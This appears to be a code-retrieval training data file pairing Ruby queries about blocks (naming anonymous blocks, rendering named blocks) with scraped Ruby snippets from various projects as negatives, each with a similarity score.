"def display_block(name, context, blocks = {}, use_blocks = true)\n name = name.to_s\n if use_blocks && blocks.key?(name)\n template = blocks[name][0]\n block = blocks[name][1]\n elsif @blocks.key?(name)\n template = @blocks[name][0]\n block = @blocks[name][1]\n else\n template = nil\n block = nil\n end\n\n if !template.nil?\n # avoid RCEs when sandbox is enabled\n unless template.is_a?(Twig::Template)\n raise LogicException.new('A block must be a method on a Twig::Template instance.')\n end\n begin\n template.send(block.to_sym, context, blocks)\n rescue Twig::Error => ex\n unless ex.get_template_file\n ex.set_template_file(template.get_template_name)\n end\n # this is mostly useful for Twig::Error::Loader exceptions\n # see Twig::Error::Loader\n unless ex.get_template_line\n ex.set_template_line(-1)\n ex.guess\n end\n raise ex\n rescue => ex\n raise Twig::Error::Runtime.new(\"An exception has been thrown during the rendering of a template (\\\"#{ex.message}\\\").\", -1, template.get_template_name, ex)\n end\n elsif (false != parent = get_parent(context))\n parent.display_block(name, context, @blocks.merge(blocks), false)\n end\n end",
"def set_blocks(x0,y0,z0,x1,y1,z1,block)\n @api.send(\"world.setBlocks(#{x0},#{y0},#{z0},#{x1},#{y1},#{z1},#{block.as_parameter_list})\")\n end",
"def custom_out(&block)\n raise StandardError, 'custom_out requires a block argument' unless block_given?\n\n @blocks << block\n end",
"def after_configure(&block)\n @after_configure_blocks ||= []\n @after_configure_blocks << block\n end",
"def test(&block)\n puts \"&block is, #{block}\"\nend",
"def add_block_callback(hook_name, handle, block)\n case block.arity\n when -1, 0\n fetch_or_create_hooks[hook_name].add_internal_callback(handle, &block)\n else\n add_external_callback(hook_name, handle, block)\n end\n end",
"def add_block\n block = params[:block].to_s.underscore\n if block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end",
"def add_block\n block = params[:block].to_s.underscore\n if block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end",
"def add_block name, hash\n\t\t\t@blocks ||= {}\n\t\t\t@blocks[name] = hash\n\t\tend",
"def test(&block)\n block.call\nend",
"def test(&block)\n block.call\nend",
"def <<(block)\n # parent assignment pending refactor\n #block.parent = self\n @blocks << block\n end",
"def before(name, options={}, &block)\n self.add_block_container_to_list(\"before_#{name.to_s}\", options, &block)\n nil\n end",
"def add_block(block)\n return if ilp.has_variable?(block)\n ilp.add_variable(block)\n lhs = block_frequency(block) + [[block, -1]]\n ilp.add_constraint(lhs,\"equal\",0,\"block_#{block.qname}\", :structural)\n end",
"def new_block_el(*args); end",
"def start_new_block\n if (@block_buffer)\n add_block(@block_buffer)\n @block_buffer = nil\n end\n end",
"def after_render(&block)\n @after_render_block = block\n end",
"def configure(&block)\n @configure_blocks ||= []\n @configure_blocks << block\n end",
"def add_for_num_blocks(words)\n # We just add to the single block, and we split this when we call\n # #blocks\n single_block.concat(words)\n end",
"def callBlock\n yield ,\n end",
"def add_for_num_blocks(words)\n # We just add to the single block, and we split this when we call\n # #blocks\n @single_block += words\n end",
"def after(&block)\n @after << block\n end",
"def give(&my_block)\n my_block.call(\"2 turtle doves\", \"1 partridge\")\nend",
"def blocks; end",
"def blocks; end",
"def blocks; end",
"def render_parent_block(name, context, blocks = {})\n # ob_start();\n display_parent_block(name, context, blocks)\n # return ob_get_clean();\n end",
"def run_around_hook(name, *args, &block)\n raise ArgumentError.new(\"block is mandatory\") unless block\n if callbacks = hooks[name.to_sym]\n callbacks.reverse.inject(block) do |blk, callback|\n proc do\n callback.call *args do\n blk.call\n end\n end\n end.call\n else\n yield\n end\n end",
"def create_block(g, mod)\n pos(g)\n\n state = g.state\n state.scope.nest_scope self\n\n args = make_arguments(mod)\n\n blk = new_generator g, @name, args\n\n blk.push_state self\n\n blk.state.push_super state.super\n blk.state.push_eval state.eval\n\n blk.definition_line(@line)\n\n blk.state.push_name blk.name\n\n pos(blk)\n\n blk.state.push_block\n blk.push_modifiers\n blk.break = nil\n blk.next = nil\n blk.redo = blk.new_label\n blk.redo.set!\n\n # order matters quite a lot here\n args.bytecode(blk)\n\n recv = receiver_pattern(mod)\n if recv.binds?\n blk.push_self\n recv.deconstruct(blk, mod)\n end\n\n args.deconstruct_patterns(blk, mod)\n\n mod.compile(blk, @body)\n\n blk.pop_modifiers\n blk.state.pop_block\n\n blk.ret\n blk.close\n blk.pop_state\n\n blk.splat_index = args.splat_index\n blk.local_count = local_count\n blk.local_names = local_names\n\n g.create_block blk\n end",
"def give(&my_block)\n my_block.call(\"2 turtle doves\", \"1 partridge\")\nend",
"def set_block &b\n @block = b\n end",
"def register_block_for(type, &blk); end",
"def blocks() end",
"def test(&block)\n puts \"What's &block? #{block}\"\nend",
"def test(&block)\n puts \"What's &block? #{block}\"\nend",
"def block_append_children(options = {})\n throw ArgumentError.new('Required arguments :block_id missing') if options[:block_id].nil?\n patch(\"blocks/#{options[:block_id]}/children\", options.except(:block_id))\n end",
"def after(name, &block)\n after_steps[name] ||= EMPTY_ARRAY.dup\n after_steps[name] << Step.new(type: :after, name: name, executor: block)\n self\n end",
"def add_page_test(&block)\n @page_test = block\n end",
"def callBlock\n yield\n yield\nend",
"def draw_block(x_pos, y_pos, z_pos, x, y, z)\n return if get_block_type(x, y, z).nil?\n position = get_block_position(x_pos, y_pos, z_pos)\n block_image = assets.get_asset(get_block_type(x, y, z))\n color = ((debug ? get_debug_block_color(x, y, z) : get_block_color(x, y, z)))\n\n block_image.draw_layer(:content,\n position.x,\n position.y,\n is_block_flipped_h?(x, y, z),\n is_block_flipped_v?(x, y, z),\n color,\n view,\n :all,\n debug)\n\n block_image.draw_layer(:content,\n position.x,\n position.y,\n is_block_flipped_h?(x, y, z),\n is_block_flipped_v?(x, y, z),\n color,\n view,\n get_block_rotation(x, y, z),\n debug)\n\n #draw decorations\n #decorations = get_decorations(x, y, z)\n # unless decorations.nil?\n # view.to_s.split('_').inject(&:to_sym).each do |direction|\n #\n # assets.get_asset(decorations[direction]).draw_layer(:content,\n # position.x,\n # position.y,\n # is_block_flipped_h?(x, y, z),\n # is_block_flipped_v?(x, y, z),\n # color,\n # view,\n # :none,\n # debug)\n # end\n # end\n\n block_image.draw_layer(:lighting,\n position.x,\n position.y,\n is_block_flipped_h?(x, y, z),\n is_block_flipped_v?(x, y, z),\n 0x10ffffff,\n view,\n :all)\n\n block_image.draw_layer(:lighting,\n position.x,\n position.y,\n is_block_flipped_h?(x, y, z),\n is_block_flipped_v?(x, y, z),\n 0x10ffffff,\n view,\n get_block_rotation(x, y, z))\n end",
"def method_that_takes_a_block(&blk)\n p blk.call(\"hello\")\n p blk.call(\"World!\")\nend",
"def with_block(&block)\n end",
"def test_methods_can_see_if_they_have_been_called_with_a_block\n assert_equal :with_block, yield_tester { :with_block }\n assert_equal :no_block, yield_tester\n end",
"def content_tag_with_block(name, content_or_options_with_block=nil,options={})\n if block_given?\n options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)\n content_tag_without_block(name, yield, options)\n else\n content_tag_without_block(name, content_or_options_with_block, options)\n end\n end",
"def block_example(&block)\n does block\n end",
"def block_name_declaration(block_name)\n buff_code \"#{block_name} = __blocks.delete('#{block_name}') { __create_block('#{block_name}') }\"\n end",
"def after(name, &block)\n validate_step_name(name)\n after_steps[name] ||= EMPTY_ARRAY.dup\n after_steps[name] << block.to_proc\n self\n end",
"def put_block(x, y, block)\n _layer.set(x, y, block)\n end",
"def test_new\n\n b = Blockchain.new\n\n b << 'Genesis'\n b << 'Transaction Data...'\n b << ['Transaction Data...']\n b << ['Transaction Data...', 'Transaction Data...']\n b << [] ## empty block (no transactions)\n\n ## add do-it-yourself built block\n b << Block.next( b.last, 'Transaction Data...' )\n\n b << 'Transaction Data...'\n\n pp b\n\n assert true ## (for now) everything ok if we get here\nend",
"def new_block_el(*args)\n el = Element.new(*args)\n if @block_ial\n el.options[:ial] = @block_ial\n @block_ial = nil\n end\n el\n end",
"def parse_blocks(el, text = nil)\n @stack.push([@tree, @src, @block_ial])\n @tree, @block_ial = el, nil\n @src = (text.nil? ? @src : ::Kramdown::Utils::StringScanner.new(text, el.options[:location]))\n\n status = catch(:stop_block_parsing) do\n until @src.eos?\n @block_parsers.any? do |name|\n if @src.check(@parsers[name].start_re)\n send(@parsers[name].method)\n else\n false\n end\n end || begin\n warning('Warning: this should not occur - no block parser handled the line')\n add_text(@src.scan(/.*\\n/))\n end\n end\n end\n\n @tree, @src, @block_ial = *@stack.pop\n status\n end",
"def block\n options.fetch(:block)\n end",
"def after(stack_name, &block)\n @@stacks[:after][stack_name.to_sym] << block\n end",
"def define(*args, &block)\n options = args.extract_options!\n\n name = if args.first\n args.shift\n else\n anonymous = true\n self.anonymous_block_number += 1\n \"anonymous_block_#{anonymous_block_number}\"\n end\n\n block_definitions[name].tap do |block_definition|\n block_definition.reverse_merge! options, &block\n block_definition.anonymous = !!anonymous\n end\n end",
"def queue(*args, &block)\n self.queued_blocks << self.define_block_container(*args, &block)\n nil\n end",
"def set_block(x,y,z,block)\n @api.send(\"world.setBlock(#{x},#{y},#{z},#{block.as_parameter_list})\")\n end",
"def callBlock\n yield # Invokes block\n yield # Invokes block again\nend",
"def my_method(&my_block)\n puts 'from my_method : before calling call method on my_block'\n my_block.call # call method calls the block\n puts 'from my_method : after calling call method on my_block'\n my_block.call\nend",
"def block(options)\n [\n %[snippet #{options[:name]} \"#{options[:desc]}\"],\n options[:snip],\n \"endsnippet\"\n ].join(\"\\n\")\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def after(&block)\n block ? @after = block : @after\n end",
"def create_block(arg_type , frame_type)\n @callable.create_block(arg_type ,frame_type)\n end",
"def block request_pb, options:, &block\n request_json = JSON.parse ::Google::Showcase::V1beta1::BlockRequest.encode_json(request_pb)\n\n uri = \"/v1beta1/echo:block\"\n body = request_pb.to_json\n\n result_json = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n &block\n )\n\n ::Google::Showcase::V1beta1::BlockResponse.decode_json result_json[:body]\n end",
"def block(block)\n @components[:__base__] = block\n @load_order << :__base__\n true\n end",
"def MyBlockMethod()\n puts \"At the top of the method\"\n\tyield\n\tputs \"At the bottom of the method\"\nend",
"def after_block_boundary?; end",
"def block_to_partial(partial_name, options = {}, &block)\n options.merge!(:body => capture(&block))\n @options = options\n concat(render(:partial => partial_name), block.binding)\n end"
] |
[
"0.6547473",
"0.6404702",
"0.6208435",
"0.6163087",
"0.6052626",
"0.60484743",
"0.5930488",
"0.59015363",
"0.58985853",
"0.5874048",
"0.58688915",
"0.57699996",
"0.5756182",
"0.5737291",
"0.56953084",
"0.56941867",
"0.5691556",
"0.5662967",
"0.5647241",
"0.5642331",
"0.56421",
"0.55983496",
"0.55037445",
"0.55032426",
"0.5487172",
"0.5436088",
"0.54347485",
"0.5429663",
"0.5427442",
"0.542042",
"0.541617",
"0.54124844",
"0.5410244",
"0.5406051",
"0.5394576",
"0.5389267",
"0.53507894",
"0.5327685",
"0.5312965",
"0.52896285",
"0.52896285",
"0.5288181",
"0.5261639",
"0.5261639",
"0.52554315",
"0.5249149",
"0.5231168",
"0.5219301",
"0.5202186",
"0.5200699",
"0.5199887",
"0.5193123",
"0.519233",
"0.5187832",
"0.5175968",
"0.5165043",
"0.515065",
"0.515065",
"0.515065",
"0.51505345",
"0.5149721",
"0.51476926",
"0.5146518",
"0.513682",
"0.51341194",
"0.51332384",
"0.51330113",
"0.51330113",
"0.51235735",
"0.5112142",
"0.5109076",
"0.51016825",
"0.5100936",
"0.50988585",
"0.5098235",
"0.5094765",
"0.508222",
"0.50729895",
"0.5060712",
"0.5053815",
"0.5050021",
"0.5046684",
"0.5025931",
"0.50221044",
"0.501924",
"0.5009973",
"0.50096464",
"0.5007676",
"0.50057155",
"0.500325",
"0.50002676",
"0.49957904",
"0.49911895",
"0.49911895",
"0.49877977",
"0.49849463",
"0.49760896",
"0.49759573",
"0.49687862",
"0.49616596"
] |
0.68984526
|
0
|
Return a unique name for an anonymously defined block (i.e. a block that has not been given a name)
|
def anonymous_block_name
self.anonymous_block_number += 1
"block_#{anonymous_block_number}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def block_name \n to_sym\n end",
"def block_name_declaration(block_name)\n buff_code \"#{block_name} = __blocks.delete('#{block_name}') { __create_block('#{block_name}') }\"\n end",
"def block_name \n :CodeBlock \n end",
"def block_name \n :CodeBlock \n end",
"def block_id &block\n block.inspect =~ /(\\w+\\.rb:\\d+)/\n $1\n end",
"def anonymous_name\n @@sequence ||= 0 # not inherited, don't want it to be\n @@sequence += 1\n \"anon.#{Time.now.to_i}.#{@@sequence}\"\n end",
"def get_block name\n name = name.to_sym\n block = @blocks.find {|b| b.name == name}\n raise \"No block found for #{name} (in #{blocks.collect{|b|b.name}.join(':')})\" unless block\n block\n end",
"def block_name\n if @split_across\n if @block_method == :count\n \"Block #{@block_num}/#{@num_blocks} (across dataset)\"\n else\n \"Block #{@block_num} of #{@block_size} words (across dataset)\"\n end\n else\n if @block_method == :count\n \"Block #{@block_num}/#{@num_blocks} (within \\\"#{@current_doc.title}\\\")\"\n else\n \"Block #{@block_num} of #{@block_size} words (within \\\"#{@current_doc.title}\\\")\"\n end\n end\n end",
"def block_method_name(node)\n case node.type\n when :block\n node.method_name\n when :block_pass\n node.parent.method_name\n end\n end",
"def id\n @block\n end",
"def id\n @block\n end",
"def name\n if !block_given?\n if @cached_name != nil\n return @cached_name\n end\n return @cached_name = @j_del.java_method(:name, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling name()\"\n end",
"def label\n Block.get_label(function.name, name)\n end",
"def anonymous_blocklists; end",
"def name\n if !block_given?\n return @j_del.java_method(:name, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling name()\"\n end",
"def name\n if !block_given?\n return @j_del.java_method(:name, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling name()\"\n end",
"def partial_name_for(block, options = {})\n if options[:namespace] && lookup_context.template_exists?(\"superb_text_constructor/blocks/#{options[:namespace]}/#{block.template}\", nil, true)\n \"superb_text_constructor/blocks/#{options[:namespace]}/#{block.template}\"\n else\n \"superb_text_constructor/blocks/#{SuperbTextConstructor.configuration.default_namespace}/#{block.template}\"\n end\n end",
"def generate_random_block_id\n return ((0..9).to_a.sample(5)).join\n end",
"def uid\n # Just reusing the block's object_id seems to make sense\n block.object_id\n end",
"def get_block_names\n @blocks.keys\n end",
"def block_definition(block_node)\n buff_code \"__blocks['#{block_node.name}'] = __create_block('#{block_node.name}', #{location_node(block_node)}) do\"\n\n code_indent do\n visit_node_children(block_node)\n end\n\n buff_code 'end'\n end",
"def name\n @name ||= to_s.split(\"#\").last.delete(\">\")\n end",
"def check_block name\n raise \"No such block: #{name}\" unless @source.key? name\n end",
"def name(name_arg = nil)\n return current.name if name_arg.nil?\n\n raise \"No block given\" unless block_given?\n\n current.name.push name_arg\n ret = yield(self)\n current.name.pop\n ret\n end",
"def fetch(block_name)\n @names[block_name.to_s] || []\n end",
"def initialize\n super(Network.generate_id(\"block_\"))\n end",
"def _name_\n self.class.const_magic\n __name__ or ( yield self if block_given? )\n end",
"def generate_name\n @seed ||= 0\n @seed += 1\n \"_anon_#{@seed}\"\n end",
"def block\n blockable.blocks.detect{|b| b.identifier == self.identifier.to_s} || \n blockable.blocks.build(:identifier => self.identifier.to_s)\n end",
"def name=(newName)\n return if name == newName.to_s\n @blockType = BlockType[newName]\n end",
"def unique_name\n unique_name = @name\n unique_name += \" (#{@disambiguation})\" if @disambiguation\n return unique_name\n end",
"def defined?(name)\n !blocks[name.to_sym].nil?\n end",
"def block_class() Block; end",
"def name\n \"dummy\"\n end",
"def device_block_name_modification\n return @device_block_name_modification\n end",
"def name\n ''\n end",
"def identifier_string\n name\n end",
"def unique_partial_text_name\n string_with_id(partial_text_name)\n end",
"def unique_format_name\n string_with_id(name.observation_name)\n rescue StandardError\n \"\"\n end",
"def name\n @name ||= @node['name']\n end",
"def name\n \"<#{@name}>\" if defined?(@name) && @name\n end",
"def make_block_reservation(name)\n block = find_block(name)\n reservation = block.confirm_reservation\n return reservation\n end",
"def name\n @name ||= section.symstr.name_at(header.st_name)\n end",
"def has_block(name)\n @blocks.key?(name.to_s)\n end",
"def defined?(name)\n !blocks[name].nil?\n end",
"def block_type\n @grpc.block_type.to_sym\n end",
"def block_node=(_); end",
"def unique_format_name\n display_name + \" (#{id || \"?\"})\"\n end",
"def make_handler_method_name( pattern, block )\n\t\t\t_, line = block.source_location\n\t\t\tpattern = pattern.\n\t\t\t\tgsub( /#/, 'hash' ).\n\t\t\t\tgsub( /\\*/, 'star' ).\n\t\t\t\tgsub( /\\./, '_' )\n\n\t\t\treturn \"on_%s_%d\" % [ pattern, line ]\n\t\tend",
"def unique_partial_format_name\n string_with_id(partial_format_name)\n end",
"def getblocknumber\n coind.getblocknumber\n end",
"def name\n nil\n end",
"def block(name, &block)\n klass = SuperbTextConstructor.block(name, &block)\n @blocks << klass\n klass\n end",
"def name\n @name ||= @node['name']\n end",
"def gen_name\n\t\tlast_id = Bill.last ? Bill.last.id + 1 : 1\n\t\t\"#{last_id}-1-1\"\n\tend",
"def name() end",
"def unique_name(name)\n \"#{name}_#{Time.now.to_i}\"\n end",
"def unique_name(name)\n \"#{name}_#{Time.now.to_i}\"\n end",
"def push(block)\n @names[block.name.to_s] ||= []\n @names[block.name.to_s] << block\n end",
"def block_instance_variable_for selector_name\n \"@block_#{selector_name.gsub(':', \"_\")}\"\n end",
"def nonblank_name\n if name.to_s == \"\"\n wrapped.inspect\n else\n name\n end\n end",
"def on_call_local_name(context, expression = nil)\n node = function_node(context, expression)\n\n return node.respond_to?(:name) ? node.name : ''\n end",
"def ident\n return \"#{self.owner}/#{self.name}\"\n end",
"def unique_text_name\n real_text_name + \" (#{id || \"?\"})\"\n end",
"def pp_name\n \"#{name} (#{code})\"\n end",
"def use_named_scope(&block)\n lang_eval { @use_named_scope_block = block }\n nil\n end",
"def name\n @name ? @name.to_s : unique_id\n end",
"def block_node; end",
"def block_node; end",
"def indefinite_name\n return \"something\"\n end",
"def get_name\n # The last sentence in a function is always returned so no need to mention return\n @name\n end",
"def new_block blk\n time = Time.now\n res = store_block(blk)\n log.info { \"block #{blk.hash} \" +\n \"[#{res[0]}, #{['main', 'side', 'orphan'][res[1]]}] \" +\n \"(#{\"%.4fs, %3dtx, %.3fkb\" % [(Time.now - time), blk.tx.size, blk.payload.bytesize.to_f/1000]})\" } if res && res[1]\n res\n end",
"def unique_object_name_for(name)\n \"#{name}_#{SecureRandom.hex(5)}\"\n end",
"def sub_block_key\n @sub_block_key ||= [:index_block, @key]\n end",
"def get_basic_name(linker, bb)\n prefix = bb.get_output_prefix(linker)\n return \"#{prefix}#{bb.name}#{bb.shared_suffix(linker)}\"\n end",
"def create_name( name, source_token = nil )\n if name.is_a?(Token) then\n source_token = name if source_token.nil?\n name = name.text\n end\n \n name = Name.new(name, @name, source_token)\n yield( name ) if block_given?\n return name\n end",
"def get_entity_unique_name( name, parent_context = nil )\n \"#{ parent_context ? \"#{parent_context.id}-#{parent_context.name}\" : '' }-#{ name.to_s }\"\n end",
"def record_id\n block.id\n end",
"def block(name=\"block\", &proc)\n gen = self.class.new(@library, @module, @function, @function.add_block(name))\n gen.instance_eval(&proc)\n return gen\n end",
"def get_frame(block_name, frame)\n if frame[:vlocks].has_key?(block_name)\n frame\n elsif frame[:parent_frame]\n get_frame(block_name, frame[:parent_frame])\n end\n end",
"def cache_fragment_name(name = T.unsafe(nil), skip_digest: T.unsafe(nil), digest_path: T.unsafe(nil)); end",
"def name\n name = \"\"\n end",
"def name\n name = \"\"\n end",
"def rollbar_person_anonymized_identifier\n @anonymized_identifier\n end",
"def named_scope_begin(&block)\n lang_eval { @named_scope_begin_block = block }\n nil\n end",
"def unique_tube_name(name)\n \"name.#{uuid}\"\n end",
"def define(name, options={}, &block)\n # Check if a block by this name is already defined.\n if blocks[name.to_sym].nil?\n # Store the attributes of the defined block in a container for later use\n block_container = BuildingBlocks::Container.new\n block_container.name = name\n block_container.options = options\n block_container.block = block\n \n blocks[name.to_sym] = block_container \n end\n \n nil\n end",
"def name() return @name end",
"def name() return @name end",
"def only_name(mod); end",
"def unique_text_name\n text_name + \" (#{id || \"?\"})\"\n end",
"def unique_text_name\n text_name + \" (#{id || \"?\"})\"\n end",
"def full_name()\n if @flow.nil?\n ':' + @name.to_s\n else\n @flow.full_name() + ':' + @name.to_s\n end\n end",
"def skip(name)\n blocks[name] = nil\n skipped_blocks[name] = true\n self.define_block_container(name) do\n end\n nil\n end",
"def name\n zombie_check\n @name\n end",
"def define(*args, &block)\n options = args.extract_options!\n\n name = if args.first\n args.shift\n else\n anonymous = true\n self.anonymous_block_number += 1\n \"anonymous_block_#{anonymous_block_number}\"\n end\n\n block_definitions[name].tap do |block_definition|\n block_definition.reverse_merge! options, &block\n block_definition.anonymous = !!anonymous\n end\n end",
"def name = (name)",
"def function_define(name=\"\",&block)\n \"function #{name}() { #{block.call} }\" \n end",
"def add_block name, hash\n\t\t\t@blocks ||= {}\n\t\t\t@blocks[name] = hash\n\t\tend",
"def prepare_block_str!\n raise ParserError, @block_str if @block_str.start_with? '-'\n\n @block_str = @block_str.\n gsub(/(\\d{4})/) { \"#{$1[0..1]}:#{$1[2..3]}\" }. # 4 digits\n gsub(/(\\d{3})/) { \"0#{$1[0]}:#{$1[1..2]}\" }. # 3 digits\n gsub(/now/) { RoundedTime.now.strftime('%H:%M') } # now\n\n return unless @block_str =~ HALF_BLOCK_RGX\n\n # Complete or start an ongoing block.\n @block_str = if (ob = @day.blocks.find(&:ongoing?))\n \"#{ob.start_s}-#{@block_str}\"\n else\n \"#{@block_str}-#{@block_str}\"\n end\n end"
] |
[
"0.7266279",
"0.711747",
"0.6894549",
"0.6894549",
"0.6743855",
"0.64937365",
"0.64157474",
"0.62972915",
"0.6205214",
"0.6133405",
"0.6133405",
"0.6036275",
"0.60225195",
"0.58905625",
"0.5851871",
"0.5851871",
"0.58397675",
"0.58160347",
"0.58117604",
"0.57431936",
"0.5729509",
"0.5721877",
"0.5705823",
"0.56700593",
"0.5645796",
"0.56303316",
"0.55931056",
"0.5566177",
"0.5516324",
"0.55131966",
"0.549383",
"0.54710037",
"0.54706925",
"0.5468356",
"0.5451801",
"0.54487747",
"0.54484737",
"0.54462117",
"0.5434878",
"0.54304403",
"0.5426093",
"0.54247606",
"0.54227465",
"0.5422446",
"0.54203033",
"0.5399538",
"0.53936315",
"0.53835976",
"0.53717667",
"0.53702664",
"0.53646266",
"0.5345057",
"0.53353643",
"0.53201884",
"0.5296479",
"0.52853745",
"0.5283829",
"0.5283829",
"0.5283514",
"0.5282553",
"0.5276314",
"0.5274807",
"0.5267617",
"0.5264208",
"0.52412504",
"0.5238011",
"0.5234254",
"0.5232658",
"0.5232658",
"0.5226672",
"0.5222204",
"0.5220848",
"0.5219622",
"0.52191806",
"0.52170837",
"0.5217011",
"0.52105683",
"0.52079356",
"0.52033406",
"0.520083",
"0.51943904",
"0.5190972",
"0.5190972",
"0.51881236",
"0.5179507",
"0.51791185",
"0.51756907",
"0.5171392",
"0.5171392",
"0.5163769",
"0.51561654",
"0.51561654",
"0.51545143",
"0.5146874",
"0.5141324",
"0.514087",
"0.51356906",
"0.5135225",
"0.5134211",
"0.51335114"
] |
0.83050674
|
0
|
Render a block, first trying to find a previously defined block with the same name
|
def render_block(name_or_container, *args, &block)
buffer = ActiveSupport::SafeBuffer.new
name, block_render_options = extract_block_name_and_options(name_or_container)
block_definition_options = {}
if blocks[name]
block_container = blocks[name]
block_definition_options = block_container.options
end
options = global_options.merge(block_definition_options).merge(block_render_options).merge(args.extract_options!)
if blocks[name]
block_container = blocks[name]
args.push(options)
buffer << view.capture(*(args[0, block_container.block.arity]), &block_container.block)
elsif options[:use_partials] && !options[:skip_partials]
begin
begin
buffer << view.render("#{name.to_s}", options)
rescue ActionView::MissingTemplate, ArgumentError
buffer << view.render("#{options[:partials_folder]}/#{name.to_s}", options)
end
rescue ActionView::MissingTemplate, ArgumentError
args.push(global_options.merge(options))
buffer << view.capture(*(args[0, block.arity]), &block) if block_given?
end
else
args.push(global_options.merge(options))
buffer << view.capture(*(args[0, block.arity]), &block) if block_given?
end
buffer
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def render_parent_block(name, context, blocks = {})\n # ob_start();\n display_parent_block(name, context, blocks)\n # return ob_get_clean();\n end",
"def render_block(name, context, blocks = {}, use_blocks = true)\n # ob_start();\n display_block(name, context, blocks, use_blocks)\n # return ob_get_clean();\n end",
"def render_block(block, options = {})\n render partial: partial_name_for(block, options), object: block, as: :block\n end",
"def render_views_in_this(block)\n html = ''\n block.views.each do |view|\n models_view = view.models_view(block)\n \n if view.model_name =~ /(tag)|(image)/ && !view.scope.blank?\n scope_model = view.owner_id.blank? ? eval(\"@#{view.scope}\") : model_class(view.scope).find(view.owner_id)\n data = eval(\"scope_model.#{view.model_name.pluralize}\")\n \n elsif view.model_name == 'post' && view.scope == 'tag'\n tag = view.owner_id.blank? ? eval(\"@tag\") : Tag.find(view.owner_id)\n data = Post.find(:all, :conditions => models_view.conditions).select { |p| p.tags.map(&:name).include? tag.name }\n data = data.paginate(:per_page => 15, :page => params[:page]) if models_view.paginate\n \n else\n data = view.model.all(view_find_options(view, models_view))\n end\n \n html << render(:partial => \"#{view_types_dir}#{models_view.view_type}\", :locals => { :data => data })\n end\n html\n #rescue\n # resource = block.class.to_controller_str\n # block_str = current_user && current_user.has_permission?(resource, 'edit', params) ? \"<a href='/#{resource}/#{block.id}/edit'>#{block.title}</a>\" : block.title\n # \"<div class='flash error'>And error occured loading view in block: #{block_str}</div>\"\n end",
"def render_views_in_this(block)\n html = ''\n block.views.each do |view|\n models_view = view.models_view(block)\n \n if view.model_name =~ /(tag)|(image)/ && !view.scope.blank?\n scope_model = view.owner_id.blank? ? eval(\"@#{view.scope}\") : model_class(view.scope).find(view.owner_id)\n data = eval(\"scope_model.#{view.model_name.pluralize}\")\n \n elsif view.model_name == 'post' && view.scope == 'tag'\n tag = view.owner_id.blank? ? eval(\"@tag\") : Tag.find(view.owner_id)\n data = Post.find(:all, :conditions => models_view.conditions).select { |p| p.tags.map(&:name).include? tag.name }\n data = data.paginate(:per_page => 15, :page => params[:page]) if models_view.paginate\n \n else\n data = view.model.all(view_find_options(view, models_view))\n end\n \n html << render(:partial => \"#{view_types_dir}#{models_view.view_type}\", :locals => { :data => data })\n end\n html\n #rescue\n # resource = block.class.to_controller_str\n # block_str = current_user && current_user.has_permission?(resource, 'edit', params) ? \"<a href='/#{resource}/#{block.id}/edit'>#{block.title}</a>\" : block.title\n # \"<div class='flash error'>And error occured loading view in block: #{block_str}</div>\"\n end",
"def render\n Debug.debug { \"Now rendering #{@context} block for #{self}\" }\n @document.playback_attributes @attributes\n out = renderer.render(\"block_#{@context}\", self)\n @document.callouts.next_list if @context == :colist\n out\n end",
"def display_block(name, context, blocks = {}, use_blocks = true)\n name = name.to_s\n if use_blocks && blocks.key?(name)\n template = blocks[name][0]\n block = blocks[name][1]\n elsif @blocks.key?(name)\n template = @blocks[name][0]\n block = @blocks[name][1]\n else\n template = nil\n block = nil\n end\n\n if !template.nil?\n # avoid RCEs when sandbox is enabled\n unless template.is_a?(Twig::Template)\n raise LogicException.new('A block must be a method on a Twig::Template instance.')\n end\n begin\n template.send(block.to_sym, context, blocks)\n rescue Twig::Error => ex\n unless ex.get_template_file\n ex.set_template_file(template.get_template_name)\n end\n # this is mostly useful for Twig::Error::Loader exceptions\n # see Twig::Error::Loader\n unless ex.get_template_line\n ex.set_template_line(-1)\n ex.guess\n end\n raise ex\n rescue => ex\n raise Twig::Error::Runtime.new(\"An exception has been thrown during the rendering of a template (\\\"#{ex.message}\\\").\", -1, template.get_template_name, ex)\n end\n elsif (false != parent = get_parent(context))\n parent.display_block(name, context, @blocks.merge(blocks), false)\n end\n end",
"def render_block(block, cached_widgets = {})\n uhook_collect_widgets(block) do |widget|\n next unless widget.valid?\n (cached_widgets[widget.id] || render_widget(widget)).tap do |output|\n # A widget didn't return an string, return inmediately\n return unless output\n end\n end\n end",
"def display_parent_block(name, context, blocks = [])\n name = name.to_s\n if @traits.key?(name)\n @traits[name][0].display_block(name, context, blocks, false)\n elsif (parent = get_parent(context))\n parent.display_block(name, context, blocks, false)\n else\n raise Twig::Error::Runtime.new(sprintf('The template has no parent and no traits defining the \"%s\" block', name), -1, get_template_name)\n end\n end",
"def get_block name\n name = name.to_sym\n block = @blocks.find {|b| b.name == name}\n raise \"No block found for #{name} (in #{blocks.collect{|b|b.name}.join(':')})\" unless block\n block\n end",
"def render\n if @block\n instance_eval(&@block)\n end\n end",
"def cms_block_render(identifier, blockable = @cms_page)\n tag = blockable && (block = blockable.blocks.find_by_identifier(identifier)) && block.tag\n return '' unless tag\n render :inline => ComfortableMexicanSofa::Tag.process_content(blockable, tag.render)\n end",
"def block\n blockable.blocks.detect{|b| b.identifier == self.identifier.to_s} || \n blockable.blocks.build(:identifier => self.identifier.to_s)\n end",
